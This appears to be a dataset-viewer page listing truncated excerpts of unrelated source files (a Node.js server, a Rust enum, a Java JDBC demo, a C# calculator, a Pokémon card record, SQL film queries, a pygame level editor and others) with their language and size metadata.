public void addTwoStrings() {
... |
JavaScript | UTF-8 | 407 | 2.703125 | 3 | [] | no_license | const http = require('http');
const pid = process.pid;
const server = http.createServer((req, res) => {
console.log(`Request received. Pid: ${pid}`);
res.end(`Hello from NodeJS! Pid: ${pid}`);
}).listen(8080, () => {
console.log(`Server was started. Pid: ${pid}`);
});
process.on('SIGINT', () => {
console.log(... |
JavaScript | UTF-8 | 1,729 | 2.75 | 3 | [] | no_license | const decodeURL = decodeURI(location.search);
const URL = decodeURL.split("?")[1];
if (URL != undefined) {
let c = URL.substring(15);
if (c == "true") {
alert("發生錯誤!請重新新增計畫!");
}
}
let count;
function addInput(id, placeholder, name, hidden) {
let table = document.getElementById(id);
let rownum = tab... |
Rust | UTF-8 | 27,852 | 2.734375 | 3 | [] | no_license | use crate::api::*;
use crate::reports;
use crate::services::Context;
use serde::{Deserialize, Serialize};
use std::collections::HashMap;
use std::collections::HashSet;
use std::fmt::Write;
#[derive(Debug, PartialEq, Clone)]
pub enum Entity {
Character(i32),
Corporation(i32),
Alliance(i32),
Faction(i32... |
Java | UTF-8 | 941 | 2.796875 | 3 | [] | no_license | package cn.iktz.web.demo.a08_jdbc.common;
import java.sql.CallableStatement;
import java.sql.Connection;
import java.sql.Types;
import org.junit.Test;
/*
delimiter $$
CREATE PROCEDURE demoSp(IN inputParam VARCHAR(255), INOUT inOutParam varchar(255))
BEGIN
SELECT CONCAT('zyxw---', inputParam) into inOutParam;
END... |
C# | UTF-8 | 18,858 | 2.890625 | 3 | [] | no_license | using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;
namespace calculator
{
public partial class Form1 : Form
{
pub... |
Ruby | UTF-8 | 3,543 | 2.84375 | 3 | [
"MIT"
] | permissive | require 'skeleton/model'
module Skeleton
class Item < Model
attr_accessor :type, :format, :title, :description, :default, :multiple_of,
:maximum, :exclusive_maximum, :minimum, :exclusive_minimum,
:max_length, :min_length, :pattern, :max_items, :min_items,
:un... |
Java | UTF-8 | 4,548 | 2.1875 | 2 | [] | no_license | package control.generatedlink;
import com.vaadin.data.Item;
import com.vaadin.ui.CustomTable;
import dao.controllers.ParamJpaController;
import java.io.File;
import org.apache.commons.lang3.StringUtils;
/**
*
* @author 003-0823
*/
public class DownloadLinkColumn implements CustomTable.ColumnGenerator {
privat... |
TypeScript | UTF-8 | 1,420 | 2.65625 | 3 | [
"MIT"
] | permissive | import { Card } from '../../../interfaces'
import Set from '../Vivid Voltage'
const card: Card = {
name: {
en: "Sandile",
fr: "Mascaïman",
es: "Sandile",
it: "Sandile",
pt: "Sandile",
de: "Ganovil"
},
illustrator: "Pani Kobayashi",
rarity: "Common",
category: "Pokemon",
set: Set,
hp: 70,
types: [... |
Python | UTF-8 | 117 | 3.046875 | 3 | [] | no_license | from functools import reduce
arr = [x for x in range(100, 1001) if x % 2 == 0]
print(reduce(lambda x, y: x*y, arr))
|
Markdown | UTF-8 | 971 | 2.734375 | 3 | [
"MIT"
] | permissive | ---
date: 2020-02-27
title: "Something built"
cover: "https://unsplash.it/400/300/?random?build"
categories:
- JavaScript
- Node
tags:
- github
- code
---
## RSS
So, once upon a time I made a [PR monitor](https://www.npmjs.com/package/pr-monitor) for GitHub so I could get an aggregate view of all the ... |
Java | UTF-8 | 695 | 2.515625 | 3 | [] | no_license | package com.example.feliz.checked_in;
import android.location.Location;
import android.widget.Toast;
/**
* Created by Feliz on 2017/09/14.
*/
public class Check_In
{
public void checkin()
{
float[] distance = new float[2];
// Location.distanceBetween( marker.getPosition().latitude, marker.... |
SQL | UTF-8 | 893 | 3.59375 | 4 | [] | no_license | use filmy;
show tables;
select '1. Wyszukaj wszystkie adresy studiów wytwórni "Paramount"' as '';
select adres from studio where nazwa = 'paramount';
select '2. Wyszukaj datę urodzenia aktora Roberta DeNiro' as '';
select data_urodzenia from gwiazdafilmowa where nazwisko = 'deNiro';
select '3. Wyszukaj wszystkie gwia... |
Python | UTF-8 | 5,628 | 3.0625 | 3 | [] | no_license | import pygame
import pickle
from os import path
pygame.init()
clock = pygame.time.Clock()
FPS = 60
WHITE = (255, 255, 255)
BLACK = (0, 0, 0)
GREY = (128, 128, 128)
FONT = pygame.font.SysFont('Futura', 24)
# game window
grid_size = 30
cols = 20
margin = 90
screen_width = grid_size * cols
screen_height = (grid_size ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.